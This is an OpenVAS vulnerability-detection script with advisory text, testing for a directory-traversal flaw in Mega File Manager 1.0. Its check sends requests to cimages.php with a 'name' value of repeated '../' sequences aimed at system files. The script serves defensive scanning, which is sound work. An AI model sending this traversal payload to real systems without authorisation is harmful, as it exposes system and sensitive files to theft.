Mega File Manager 'name' Parameter Directory Traversal Vulnerability

2012-04-25T00:00:00
ID OPENVAS:1361412562310103477
Type openvas
Reporter Copyright (C) 2012 Greenbone Networks GmbH
Modified 2020-05-06T00:00:00

Description

Mega File Manager is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
#
# Mega File Manager 'name' Parameter Directory Traversal Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (C) 2012 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103477");
  script_bugtraq_id(53189);
  script_version("2020-05-06T06:57:16+0000");
  script_name("Mega File Manager 'name' Parameter Directory Traversal Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/53189");
  script_xref(name:"URL", value:"http://www.awesomephp.com/?MegaFileManager");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2020-05-06 06:57:16 +0000 (Wed, 06 May 2020)");
  script_tag(name:"creation_date", value:"2012-04-25 10:11:55 +0200 (Wed, 25 Apr 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_copyright("Copyright (C) 2012 Greenbone Networks GmbH");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Mega File Manager is prone to a directory-traversal vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"impact", value:"Remote attackers can use specially crafted requests with directory-
  traversal sequences ('../') to retrieve arbitrary files in the context
  of the application.

  Exploiting this issue may allow an attacker to obtain sensitive
  information that could aid in further attacks.");

  script_tag(name:"affected", value:"Mega File Manager 1.0 is vulnerable. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/megafilemanager", "/MegaFileManager", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/index.php";
  buf = http_get_cache( item:url, port:port );

  if( "Powered by Awesome PH" >< buf ) {

    foreach file( keys( files ) ) {

      url = dir + '/cimages.php?name=' + crap( data:"../", length: 9 * 6 ) + files[file];

      if( http_vuln_check( port:port, url:url, pattern:file ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 99 );